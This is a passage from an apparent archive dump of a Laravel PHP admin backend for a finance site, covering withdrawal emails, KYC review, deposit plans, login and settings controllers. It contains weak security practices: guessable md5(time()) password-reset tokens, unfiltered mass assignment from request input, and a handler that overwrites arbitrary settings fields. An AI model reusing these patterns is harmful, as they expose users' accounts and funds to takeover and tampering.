12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>We regret to inform you that your withdrawal request has been rejected.</p> <p>For more details regarding the reason, or to resolve the issue, please contact our support team at <a href="mailto:support@fluxeassets.com">support@fluxeassets.com</a>.</p> <p>We apologize for any inconvenience this may have caused.</p> <p>Thank you for choosing <strong>Fluxe Assets</strong>.</p> <p style="margin-top: 30px;">Best regards,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; $mail = new PHPMailer(true); try { // SMTP settings $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; $mail->SMTPSecure = $gs->smtp_encryption; // 'tls' or 'ssl' $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; // Recipients $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { return response()->json('Email could not be sent. Error: ' . $mail->ErrorInfo); } } else { $to = $user->email; $subject = "Withdraw Rejected Successfully."; $msg = "Hello ".$user->name."!\nYour withdraw rejected by admin.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } $msg = __('Withdraw Rejected Successfully.'); return response()->json($msg); } if($id2 == 'completed'){ $data['status'] = "completed"; $withdraw->update($data); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $withdraw->amount + $withdraw->fee; $trans->type = "Payout Accepted"; $trans->profit = "plus"; $trans->txnid = $withdraw->txnid; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { /* $data = [ 'to' => $user->email, 'type' => "Withdraw", 'cname' => $user->name, 'oamount' => $withdraw->amount + $withdraw->fee, 'aname' => $admin->name, 'aemail' => $admin->email, 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); */ $subject = 'Withdrawal Completed'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Withdrawal Completed</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>We are pleased to inform you that your withdrawal of <strong>$'.$withdraw->amount.'</strong> has been successfully processed.</p> <p>The funds have been sent to your registered payment method. Please allow some time for it to reflect, depending on your provider.</p> <p>If you have any questions, feel free to contact our support team at <a href="mailto:support@fluxeassets.com">support@fluxeassets.com</a>.</p> <p>Thank you for trusting <strong>Fluxe Assets</strong>.</p> <p style="margin-top: 30px;">Best regards,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; $mail = new PHPMailer(true); try { // SMTP settings $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; $mail->SMTPSecure = $gs->smtp_encryption; // 'tls' or 'ssl' $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; // Recipients $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { return response()->json('Email could not be sent. Error: ' . $mail->ErrorInfo); } } else { $to = $user->email; $subject = "Withdraw Accepted Successfully."; $msg = "Hello ".$user->name."!\nYour withdraw accepted by admin.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } $msg = __('Withdraw Accepted Successfully.'); return response()->json($msg); } } public function destroy($id) { $user = User::findOrFail($id); if($user->transactions->count() > 0) { foreach ($user->transactions as $transaction) { $transaction->delete(); } } if($user->withdraws->count() > 0) { foreach ($user->withdraws as $withdraw) { $withdraw->delete(); } } if($user->deposits->count() > 0) { foreach ($user->deposits as $deposit) { $deposit->delete(); } } if($user->balanceTransfers->count() > 0) { foreach ($user->balanceTransfers as $balanceTransfer) { $balanceTransfer->delete(); } } @unlink('/assets/images/'.$user->photo); $user->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/KycManageController.php 0000644 00000015201 15111246740 0014516 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Illuminate\Support\Str; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\KYC; use App\Models\KycForm; use App\Models\Merchant; use App\Models\User; use Datatables; class KycManageController extends Controller { public function datatables() { $datas = User::where('kyc_info','!=',NULL)->orderBy('id','desc'); return Datatables::of($datas) ->addColumn('action', function(User $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Details' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.kyc.details',$data->id) . '" class="dropdown-item">'.__("Details").'</a> </div> </div>'; }) ->addColumn('kyc', function(User $data) { if($data->kyc_status == 1){ $status = __('Approve'); }elseif($data->kyc_status == 2){ $status = __('Rejected'); }else{ $status = __('Pending'); } if($data->kyc_status == 1){ $status_sign = 'success'; }elseif($data->kyc_status == 2){ $status_sign = 'danger'; }else{ $status_sign = 'warning'; } return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.user.kyc',['id1' => $data->id, 'id2' => 1]).'">'.__("Approve").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.user.kyc',['id1' => $data->id, 'id2' => 2 ]).'">'.__("Reject").'</a> </div> </div>'; }) ->rawColumns(['action','status','kyc']) ->toJson(); } public function kycInfo($userType) { return view('admin.kyc.kyc_info'); } public function index() { $userType = 'user'; $userForms = KycForm::where('user_type',$userType == 'user' ? 1 : 2)->get(); return view('admin.kyc.user_forms',compact('userType','userForms')); } public function module(){ $data = Generalsetting::first(); return view('admin.user.modules',compact('data')); } public function moduleUpdate(Request $request){ $data = Generalsetting::find(1); if(!empty($request->module_section)) { $input['module_section'] = implode(" , ",$request->module_section); } else{ $input['module_section'] = NULL; } $data->update($input); if($request->ajax()){ $msg = 'Data Updated Successfully.'; return response()->json($msg); }else{ return back()->withSuccess('Data Updated Successfully.'); } } public function userKycForm($userType) { if($userType == 'user' || $userType == 'merchant'){ $userForms = KycForm::where('user_type',$userType == 'user' ? 1 : 2)->get(); return view('admin.kyc.user_forms',compact('userType','userForms')); } abort(404); } public function kycForm(Request $request) { $request->validate([ 'type'=> 'required|in:1,2,3', 'label' => 'required', 'required' => 'required' ] ); $kyc = new KycForm(); $kyc->user_type = $request->user_type; $kyc->type = $request->type; $kyc->label = $request->label; $kyc->name = Str::slug($request->label,'_'); $kyc->required = $request->required; $kyc->save(); return back()->with('success','Form field added successfully'); } public function removeField($id) { KycForm::findOrFail($id)->delete(); $notify[]=['success','Field has been removed']; return back()->withNotify($notify); } public function editField($id) { $page_title = 'Edit Fields'; $field = KycForm::findOrFail($id); return view('admin.category.editFields',compact('page_title','field')); } public function kycFormUpdate(Request $request) { $request->validate([ 'type'=> 'required|in:1,2,3', 'label' => 'required', 'required' => 'required' ] ); $kyc = KycForm::findOrFail($request->id); $kyc->user_type = $request->user_type; $kyc->type = $request->type; $kyc->label = $request->label; $kyc->name = Str::slug($request->label,'_'); $kyc->required = $request->required; $kyc->save(); return back()->with('success','Form field updated successfully'); } public function deletedField(Request $request) { KycForm::findOrFail($request->id)->delete(); return back()->with('success','Form field has removed'); } public function kycDetails($id) { $data['user'] = User::findOrFail($id); $data['kycInformations'] = json_decode($data['user']->kyc_info,true); return view('admin.kyc.details',$data); } public function kyc($id1,$id2) { $user = User::findOrFail($id1); $user->kyc_status = $id2; $user->update(); $msg = 'Data Updated Successfully.'; return response()->json($msg); } } Controllers/Admin/DpsPlanController.php 0000644 00000014316 15111246740 0014226 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\DpsPlan; use Illuminate\Http\Request; use Datatables; use Illuminate\Support\Facades\Validator; class DpsPlanController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = DpsPlan::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('per_installment', function(DpsPlan $data) { $curr = Currency::where('is_default','=',1)->first(); return '<div> <span class="text-primary">'.$curr->sign.$data->per_installment.'</span>/ <span class="text-primary">'.$data->installment_interval.'</span> Days <p>for <span class="text-primary">'.$data->total_installment.'</span> times.</p> </div>'; }) ->editColumn('final_amount', function(DpsPlan $data){ return '<div> <span class="text-primary">'.showAdminAmount($data->final_amount + $data->user_profit).'</span> </div>'; }) ->editColumn('status', function(DpsPlan $data) { $status = $data->status == 1 ? _('activated') : _('deactivated'); $status_sign = $data->status == 1 ? 'success' : 'danger'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.dps.plan.status',['id1' => $data->id, 'status' => 1]).'">'.__("activated").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.dps.plan.status',['id1' => $data->id, 'status' => 0]).'">'.__("deactivated").'</a> </div> </div>'; }) ->addColumn('action', function(DpsPlan $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.dps.plan.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.dps.plan.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['per_installment','final_amount','status','action']) ->toJson(); } public function index(){ return view('admin.dpsplan.index'); } public function create(){ $data['currency'] = Currency::whereIsDefault(1)->first(); return view('admin.dpsplan.create',$data); } public function store(Request $request){ $rules = [ 'title' => 'required|max:255', 'installment_interval' => 'required', 'total_installment' => 'required', 'per_installment' => 'required', 'final_amount' => 'required', 'user_profit' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $input = $request->all(); $data = new DpsPlan(); $data->fill($input)->save(); $msg = 'New Plan Added Successfully.<a href="'.route('admin.dps.plan.index').'">View Plan Lists.</a>'; return response()->json($msg); } public function edit(Request $request, $id){ $data['data'] = DpsPlan::findOrFail($id); $data['currency'] = Currency::whereIsDefault(1)->first(); return view('admin.dpsplan.edit',$data); } public function update(Request $request, $id){ $rules = [ 'title' => 'required|max:255', 'installment_interval' => 'required', 'total_installment' => 'required', 'per_installment' => 'required', 'final_amount' => 'required', 'user_profit' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = DpsPlan::findOrFail($id); $input = $request->all(); $data->update($input); $msg = 'New Plan Updated Successfully.<a href="'.route('admin.dps.plan.index').'">View Plan Lists.</a>'; return response()->json($msg); } public function status($id1,$id2) { $data = DpsPlan::findOrFail($id1); $data->status = $id2; $data->update(); $msg = __('Status Updated Successfully.'); return response()->json($msg); } public function destroy($id) { $data = DpsPlan::findOrFail($id); $data->delete(); $msg = 'Plan Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/AccountProcessController.php 0000644 00000007473 15111246740 0015626 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\AccountProcess; use App\Models\Pagesetting; use DataTables; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Purifier; class AccountProcessController extends Controller { public function datatables() { $datas = AccountProcess::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('details', function(AccountProcess $data) { $details = mb_strlen(strip_tags($data->details),'utf-8') > 100 ? mb_substr(strip_tags($data->details),0,100,'utf-8').'...' : strip_tags($data->details); return $details; }) ->addColumn('action', function(AccountProcess $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.account.process.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.account.process.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['action','details']) ->toJson(); } public function index() { $data = Pagesetting::first(); return view('admin.account.index',compact('data')); } public function create() { return view('admin.account.create'); } public function store(Request $request) { $rules = [ 'icon'=>'required', 'title'=>'required', 'details'=>'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new AccountProcess(); $input = $request->all(); $input['details'] = Purifier::clean($request->details); $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.account.process.index").'">Account Process Lists</a>'; return response()->json($msg); } public function edit($id) { $data = AccountProcess::findOrFail($id); return view('admin.account.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'icon'=>'required', 'title'=>'required', 'details'=>'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = AccountProcess::findOrFail($id); $input = $request->all(); $input['details'] = Purifier::clean($request->details); $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.account.process.index").'">Account Process Lists</a>'; return response()->json($msg); } public function destroy($id) { $data = AccountProcess::findOrFail($id); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/ReviewController.php 0000644 00000010415 15111246740 0014122 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use Datatables; use App\Models\Review; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Str; use Validator; use Purifier; class ReviewController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Review::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('photo', function(Review $data) { $photo = $data->photo ? url('assets/images/'.$data->photo):url('assets/images/noimage.png'); return '<img src="' . $photo . '" alt="Image">'; }) ->addColumn('action', function(Review $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.review.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.review.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['photo', 'action']) ->toJson(); } public function index() { return view('admin.review.index'); } public function create() { return view('admin.review.create'); } public function store(Request $request) { $rules = [ 'photo' => 'required|mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Review(); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); $input['photo'] = $name; } $input['details'] = Purifier::clean($request->details); $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.review.index").'">View Review Lists</a>'; return response()->json($msg); } public function edit($id) { $data = Review::findOrFail($id); return view('admin.review.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Review::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $file->move('assets/images',$name); @unlink('assets/images/'.$data->photo); $input['photo'] = $name; } $input['details'] = Purifier::clean($request->details); $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.review.index").'">View Review Lists</a>'; return response()->json($msg); } public function destroy($id) { $data = Review::findOrFail($id); @unlink('assets/images/'.$data->photo); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/LoginController.php 0000644 00000005755 15111246740 0013744 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Admin; use App\Classes\GeniusMailer; use App\Models\Generalsetting; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use Illuminate\Support\Facades\Validator; class LoginController extends Controller { public function __construct() { $this->middleware('guest:admin', ['except' => ['logout']]); } public function showLoginForm() { return view('admin.login'); } public function login(Request $request) { //--- Validation Section $input = $request->all(); $rules = [ 'email' => 'required|email', 'password' => 'required' ]; $validator = Validator::make($input, $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } // Attempt to log the user in if (Auth::guard('admin')->attempt(['email' => $request->email, 'password' => $request->password], $request->remember)) { return response()->json(route('admin.dashboard')); } // if unsuccessful, then redirect back to the login with the form data $msg = array( 'type' => 'warn', 'message' => "Credentials Doesn\'t Match !" ); return response()->json(array('errors' => $msg)); } public function logout() { Auth::guard('admin')->logout(); return redirect()->route('admin.login'); } public function showForgotForm() { return view('admin.forgot'); } public function forgot(Request $request) { $gs = Generalsetting::findOrFail(1); $input = $request->all(); if (Admin::where('email', '=', $request->email)->count() > 0) { // user found $admin = Admin::where('email', '=', $request->email)->firstOrFail(); $token = md5(time().$admin->name.$admin->email); $input['email_token'] = $token; $admin->update($input); $subject = "Reset Password Request"; $msg = "Please click this link : ".'<a href="'.route('admin.change.token',$token).'">'.route('admin.change.token',$token).'</a>'.' to change your password.'; if($gs->is_smtp == 1) { $data = [ 'to' => $request->email, 'subject' => $subject, 'body' => $msg, ]; $mailer = new GeniusMailer(); $mailer->sendCustomMail($data); } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($request->email,$subject,$msg,$headers); } return response()->json('Verification Link Sent Successfully!. Please Check your email.'); } else{ // user not found return response()->json(array('errors' => [ 0 => 'No Account Found With This Email.' ])); } } } Controllers/Admin/RequestMoneyController.php 0000644 00000005562 15111246740 0015330 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\MoneyRequest; use App\Models\User; use Illuminate\Http\Request; use Datatables; class RequestMoneyController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = MoneyRequest::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('user_id', function(MoneyRequest $data) { $data = User::whereId($data->user_id)->first(); if($data){ return '<div> <span>'.$data->name.'</span> <p>'.$data->email.'</p> </div>'; }else{ return $data = ''; } }) ->editColumn('receiver_id', function(MoneyRequest $data){ $data = User::whereId($data->receiver_id)->first(); if($data){ return '<div> <span>'.$data->name.'</span> <p>'.$data->email.'</p> </div>'; }else{ return $data = ''; } }) ->editColumn('amount', function(MoneyRequest $data) { return showAdminAmount($data->amount); }) ->editColumn('cost', function(MoneyRequest $data) { return showAdminAmount($data->cost); }) ->editColumn('status', function(MoneyRequest $data) { $status = $data->status == 1 ? _('Completed') : _('Pending'); $status_sign = $data->status == 1 ? 'success' : 'warning'; return '<div class="btn-group mb-1"> <span class="badge badge-'. $status_sign.'">'.$status.'</span> </div>'; }) ->rawColumns(['user_id','receiver_id','amount','cost','status']) ->toJson(); } public function index(){ return view('admin.requestmoney.index'); } public function create(){ $curr = defaultCurr(); return view('admin.requestmoney.create',compact('curr')); } } Controllers/Admin/SeoToolController.php 0000644 00000002134 15111246740 0014244 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Models\Seotool; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use App\Http\Controllers\Controller; use App\Models\ProductClick; class SeoToolController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function analytics() { $tool = Seotool::find(1); return view('admin.seotool.googleanalytics',compact('tool')); } public function analyticsupdate(Request $request) { $tool = Seotool::findOrFail(1); $tool->update($request->all()); $msg = 'Data Updated Successfully.'; return response()->json($msg); } public function keywords() { $tool = Seotool::find(1); return view('admin.seotool.meta-keywords',compact('tool')); } public function keywordsupdate(Request $request) { $tool = Seotool::findOrFail(1); $tool->update($request->all()); $msg = 'Data Updated Successfully.'; return response()->json($msg); } } Controllers/Admin/SitemapController.php 0000644 00000004531 15111246740 0014265 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Sitemap; use Datatables; use Illuminate\Http\Request; use Validator; use Spatie\Sitemap\SitemapGenerator; class SitemapController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Sitemap::orderBy('id','desc'); return Datatables::of($datas) ->addColumn('action', function(Sitemap $data) { $delete = '<a href="javascript:;" data-href="' . route('admin.sitemap.delete',$data->id) . '" data-toggle="modal" data-target="#deleteModal" class="btn btn-danger btn-sm btn-rounded"><i class="fas fa-trash-alt"></i></a>'; $download = '<a href="'.asset('assets/sitemaps/'.$data->filename).'" class="btn btn-dark btn-sm btn-rounded" download><i class="fa fa-download"></i> Download</a>'; return '<div class="actions-btn">'.$delete.$download.'</div>'; }) ->rawColumns(['action']) ->toJson(); } public function index() { return view('admin.sitemap.index'); } public function create() { return view('admin.sitemap.create'); } public function store(Request $request) { $rules = [ 'sitemap_url' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Sitemap(); $input = $request->all(); $filename = 'sitemap'.uniqid().'.xml'; SitemapGenerator::create($request->sitemap_url)->writeToFile('assets/sitemaps/'.$filename); $input['filename'] = $filename; $input['sitemap_url'] = $request->sitemap_url; $data->fill($input)->save(); $msg = 'Data Added Successfully.'; return response()->json($msg); } public function delete($id){ $data = Sitemap::find($id); @unlink('assets/sitemaps/'.$data->filename); $data->delete(); $msg = 'Data Deleted SuccessFully'; return response()->json($msg); } } Controllers/Admin/GeneralSettingController.php 0000644 00000022641 15111246740 0015600 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Models\Generalsetting; use Illuminate\Http\Request; use Carbon\Carbon; use App\Models\Currency; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\Config; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; use Purifier; class GeneralSettingController extends Controller { protected $rules = [ 'logo' => 'mimes:jpeg,jpg,png,svg', 'favicon' => 'mimes:jpeg,jpg,png,svg', 'loader' => 'mimes:gif', 'admin_loader' => 'mimes:gif', 'affilate_banner' => 'mimes:jpeg,jpg,png,svg', 'error_banner' => 'mimes:jpeg,jpg,png,svg', 'popup_background' => 'mimes:jpeg,jpg,png,svg', 'invoice_logo' => 'mimes:jpeg,jpg,png,svg', 'breadcumb_banner' => 'mimes:jpeg,jpg,png,svg', 'footer_logo' => 'mimes:jpeg,jpg,png,svg', 'cert_sign' => 'mimes:jpeg,jpg,png,svg', 'footer' =>'min:10', 'copyright' =>'min:10', ]; public function __construct() { $this->middleware('auth:admin'); } public function generalupdate(Request $request) { $validator =Validator::make($request->all(), $this->rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } else { $input = $request->all(); $data = Generalsetting::findOrFail(1); $prev = $data->time_zone; if(isset($input['menu'])){ $input['menu'] = $this->setMenu($input); } if ($file = $request->file('logo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$data->logo); $input['logo'] = $name; } if ($file = $request->file('favicon')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$data->favicon); $input['favicon'] = $name; } if ($file = $request->file('loader')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$data->loader); $input['loader'] = $name; } if ($file = $request->file('admin_loader')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$data->admin_loader); $input['admin_loader'] = $name; } if ($file = $request->file('error_photo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$data->error_photo); $input['error_photo'] = $name; } if ($file = $request->file('popup_background')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$data->popup_background); $input['popup_background'] = $name; } if ($file = $request->file('breadcumb_banner')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$data->breadcumb_banner); $input['breadcumb_banner'] = $name; } if ($file = $request->file('footer_logo')) { $name = Str::random(8).time().'.'.$file->getClientOriginalExtension(); $data->upload($name,$file,$data->footer_logo); $input['footer_logo'] = $name; } if($request->copyright){ $input['copyright'] = Purifier::clean($request->copyright); } if($request->maintain_text){ $input['maintain_text'] = Purifier::clean($request->maintain_text); } if($request->affilate_new_user){ $input['affilate_new_user'] = baseCurrencyAmount($request->affilate_new_user); }else{ $input['affilate_new_user'] = $data->affilate_new_user; } if($request->affilate_user){ $input['affilate_user'] = baseCurrencyAmount($request->affilate_user); }else{ $input['affilate_user'] = $data->affilate_user; } if($request->fixed_request_charge){ $input['fixed_request_charge'] = baseCurrencyAmount($request->fixed_request_charge); }else{ $input['fixed_request_charge'] = $data->fixed_request_charge; } if($request->nexmo_status == 1){ $input['nexmo_status'] = 1; $input['twilio_status'] = 0; }else{ $input['nexmo_status'] = 0; $input['twilio_status'] = 1; } if($request->twilio_status == 1){ $input['twilio_status'] = 1; $input['nexmo_status'] = 0; }else{ $input['twilio_status'] = 0; $input['nexmo_status'] = 1; } $this->emailConfig($input); $data->update($input); try { $this->setEnv('APP_TIMEZONE',$input['time_zone']); } catch (\Throwable $th) { // dd($th->getMessage()); } if($request->ajax()){ $msg = 'Data Updated Successfully.'; return response()->json($msg); }else{ return back()->withSuccess('Data Updated Successfully.'); } } } public function setMenu($input) { unset($input['menu']); unset($input['_token']); return json_encode($input); } public function logo() { return view('admin.generalsetting.logo'); } public function breadcumb() { return view('admin.generalsetting.breadcumb'); } public function userimage() { return view('admin.generalsetting.user_image'); } public function fav() { return view('admin.generalsetting.favicon'); } public function load() { return view('admin.generalsetting.loader'); } public function contents() { return view('admin.generalsetting.websitecontent'); } public function footer() { return view('admin.generalsetting.footer'); } public function menubuilder() { return view('admin.menubuilder.index'); } public function holiday(){ $data = Generalsetting::first(); return view('admin.generalsetting.holiday',compact('data')); } public function holidayUpdate(Request $request){ $data = Generalsetting::find(1); if($request->day_of){ $input['day_of'] = implode(" , ",$request->day_of); }else{ $input['day_of'] = NULL; } $data->update($input); if($request->ajax()){ $msg = 'Data Updated Successfully.'; return response()->json($msg); }else{ return back()->withSuccess('Data Updated Successfully.'); } } public function paymentsinfo() { $curr = Currency::where('is_default','=',1)->first(); return view('admin.generalsetting.paymentsinfo',compact('curr')); } public function affilate() { return view('admin.generalsetting.affilate'); } public function errorbanner() { return view('admin.generalsetting.error_banner'); } public function maintain() { return view('admin.generalsetting.maintain'); } public function twilio(){ return view('admin.generalsetting.twilio'); } public function nexmo(){ return view('admin.generalsetting.nexmo'); } public function status($field,$value) { $prev = ''; $data = Generalsetting::find(1); if($field == 'is_debug'){ $prev = $data->is_debug == 1 ? 'true':'false'; } $data[$field] = $value; 